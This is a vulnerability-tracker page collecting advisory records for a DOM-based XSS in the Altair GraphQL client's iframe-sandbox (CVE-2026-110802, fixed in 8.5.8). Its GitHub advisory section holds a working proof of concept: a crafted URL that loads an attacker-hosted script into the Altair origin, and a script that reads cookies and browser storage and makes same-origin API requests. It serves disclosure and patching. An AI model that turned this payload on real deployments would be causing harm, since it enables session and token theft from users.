Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-110802

Published

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Source published
5 Nov 2026 20:41:52 UTC
Source modified
10 Nov 2026 04:18:28 UTC
Saved here
10 Nov 2026 06:02:11 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

euvd · EUVD-2026-117794

Published

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 5, 2026, 8:41:52 PM

dateUpdated: Nov 10, 2026, 4:18:28 AM

Source published
Nov 5, 2026, 8:41:52 PM (timezone not stated)
Source modified
Nov 10, 2026, 4:18:28 AM (timezone not stated)
Saved here
14 Nov 2026 17:37:43 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

nvd · CVE-2026-110802

Published

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-79 · CWE-829

Original publisher date fields

published: 2026-11-05T21:18:35.267

lastModified: 2026-11-12T22:18:51.470

Source published
5 Nov 2026 21:18:35 UTC
Source modified
12 Nov 2026 22:18:51 UTC
Saved here
14 Nov 2026 17:37:13 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-752m-7p75-49gf

Published

### Summary Altair `8.5.7` accepts plugin configuration directly from the `iframe-sandbox` query string. When `plugin_sandbox_opts` contains `type: "scripts"` and an attacker-controlled URL in `scriptUrls`, the sandbox page creates a classic `<script src="...">` element and loads the supplied script. In the intended plugin flow, this page runs inside an `<iframe sandbox="allow-scripts">` without `allow-same-origin`, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin. Exploitation requires the victim to open a crafted URL. ### Details The sandbox reads its configuration directly from `window.location.search`. In `packages/altair-iframe-sandbox/src/main.ts`: ``` const searchParams = new URLSearchParams(window.location.search); const sandboxType = searchParams.get('sandbox_type'); switch (sandboxType) { case 'plugin': handlePluginSandbox(); break; } ``` `handlePluginSandbox()` then parses `plugin_sandbox_opts`: ``` const searchParams = new URLSearchParams(window.location.search); const pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts'); const pluginSandboxOpts = pluginSandboxOptsStr ? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions) : undefined; ``` The relevant validation only checks the plugin type: ``` if (pluginSandboxOpts.type !== 'scripts') { throw new Error('Invalid plugin option type provided!'); } ``` Values from `scriptUrls` are then passed to `injectScript()`: ``` if (pluginSandboxOpts.scriptUrls) { for (const script of pluginSandboxOpts.scriptUrls) { await injectScript(script); } } ``` The sink in `packages/altair-core/src/utils/inject.ts` is: ``` const script = document.createElement('script'); script.type = 'text/javascript'; script.src = url; head.appendChild(script); ``` The intended parent flow relies on browser iframe sandboxing: ``` // NOTE: Don't add allow-same-origin to the sandbox attribute! iframe.sandbox.add('allow-scripts'); ``` Direct navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin. The official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used. ### PoC The following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin. 1. Create a local Altair deployment ```sh mkdir altair-local-test cd altair-local-test npm init -y npm i [email protected] [email protected] [email protected] [email protected] ``` Create `server.js`: ```js const express = require("express"); const { altairExpress } = require("altair-express-middleware"); const { createHandler } = require("graphql-http/lib/use/express"); const { buildSchema } = require("graphql"); const app = express(); const schema = buildSchema(` type Query { hello: String } `); const root = { hello: () => "world", }; app.all( "/api/graphql", createHandler({ schema, rootValue: root, }) ); app.use( "/graphql", altairExpress({ endpointURL: "/api/graphql", initialQuery: "{ hello }", }) ); app.listen(4000, () => { console.log("Altair UI: http://localhost:4000/graphql/"); console.log("Sandbox: http://localhost:4000/graphql/iframe-sandbox/"); }); ``` Run: ```sh node server.js ``` 2. Host a benign script Host the following as `poc.js` on a domain you control: ```js document.body.textContent = ""; const h1 = document.createElement("h1"); h1.textContent = "Altair iframe-sandbox PoC"; const p = document.createElement("p"); p.textContent = "Script executed in: " + window.location.origin; document.body.append(h1, p); ``` 3. Build the crafted URL Create `build-poc-url.js`: ```js const opts = { id: "local-poc", type: "scripts", scriptUrls: ["http://127.0.0.1:8000/poc.js"], styleUrls: [] }; const url = "http://localhost:4000/graphql/iframe-sandbox/" + "?sandbox_type=plugin&plugin_sandbox_opts=" + encodeURIComponent(JSON.stringify(opts)); console.log(url); ``` Run: ```js node build-poc-url.js ``` This prints a fully encoded URL similar to: ```text http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` 4. Open the crafted URL ```text http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` Some deployments also accept: ```text http://localhost:4000/graphql/iframe-sandbox/index.html?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` The page creates: ```html <script type="text/javascript" src="http://127.0.0.1:8000/poc.js"></script> ``` The script displays: ```text Script executed in: http://localhost:4000 ``` This confirms that attacker-controlled `scriptUrls` reaches `script.src` and executes in the deployment origin when the page is opened outside the intended sandboxed iframe. 5. Optional same-origin impact demonstration The following routes are only part of the local test environment and are not Altair functionality. Add: ```js app.get("/login-demo", (req, res) => { res.setHeader("Set-Cookie", [ "visible_token=demo-visible-token-123; Path=/; SameSite=Lax", "http_only_session=demo-http-only-session-456; Path=/; HttpOnly; SameSite=Lax", ]); res.send(` <h1>Demo login</h1> <script> localStorage.setItem("altair_demo_token", "localStorage-secret-789"); sessionStorage.setItem("altair_demo_session", "sessionStorage-secret-abc"); </script> <p>Now open the iframe-sandbox PoC URL.</p> `); }); app.get("/api/me-demo", (req, res) => { res.json({ user: "demo-user", role: "admin-demo", privateData: "same-origin-api-data", authenticated: Boolean(req.headers.cookie), }); }); ``` Visit `/login-demo`, then open the crafted sandbox URL in the same origin using: ```js async function main() { const api = await fetch("/api/me-demo").then((res) => res.json()); document.body.textContent = ""; const pre = document.createElement("pre"); pre.textContent = JSON.stringify( { origin: location.origin, cookie: document.cookie, localStorage: localStorage.getItem("altair_demo_token"), sessionStorage: sessionStorage.getItem("altair_demo_session"), sameOriginApi: api, }, null, 2 ); document.body.appendChild(pre); } main(); ``` Expected behavior: - `visible_token` is readable through `document.cookie`; - the `HttpOnly` cookie is not readable through `document.cookie`; - `localStorage` and `sessionStorage` are readable; - same-origin requests can include cookies according to their attributes. This step is optional and only demonstrates the consequences of JavaScript execution in a shared application origin. 6. Public validation The same behavior was also validated against the public Altair instance using a benign payload: ```text https://web.altairgraphql.dev/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22https%3A%2F%2F<controlled-test-domain>%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` The controlled script only displayed: ```text Script executed in: https://web.altairgraphql.dev ``` Separately, browser storage for an authenticated Altair Web session was inspected and showed an `ALTAIR-API-USER-TOKEN` entry in `localStorage` for `https://web.altairgraphql.dev`. Because the sandbox PoC already demonstrates attacker-controlled JavaScript execution in that same origin, this browser-accessible authentication value may be exposed by successful exploitation. No tokens, storage, user data, or authenticated APIs were accessed during the public validation. ### Impact An unauthenticated remote attacker can craft an `iframe-sandbox` URL that causes attacker-controlled JavaScript to execute in the origin serving Altair when a victim opens the crafted URL. The impact can become significantly higher when Altair is hosted on the same origin as authenticated application functionality. In such deployments, the injected script may be able to: - read script-accessible cookies; - access `localStorage` and `sessionStorage`; - make authenticated same-origin requests using the victim's session; - read same-origin API responses available to the victim; - interact with application functionality as the authenticated user. - enable phishing or UI spoofing scenarios. `HttpOnly` cookies cannot be read directly through JavaScript, but they may still be automatically included in same-origin requests according to their cookie attributes. For the hosted Altair Web deployment, an authenticated session was observed to store `ALTAIR-API-USER-TOKEN` in same-origin `localStorage`. Since JavaScript executing in `https://web.altairgraphql.dev` can access that origin's browser storage, successful exploitation may expose this authentication-related value. The exact confidentiality and integrity impact depends on the deployment model and on the authenticated functionality exposed on the same origin. The public validation against `web.altairgraphql.dev` only demonstrated attacker-controlled JavaScript execution in the Altair origin. No tokens, storage contents, user data, or authenticated APIs were accessed.

Source published
10 Nov 2026 15:57:27 UTC
Source modified
10 Nov 2026 16:15:04 UTC
Saved here
10 Nov 2026 16:21:51 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 18:02 UTC · 254 of 275 readable · 250 fully read · documentation 469/469 current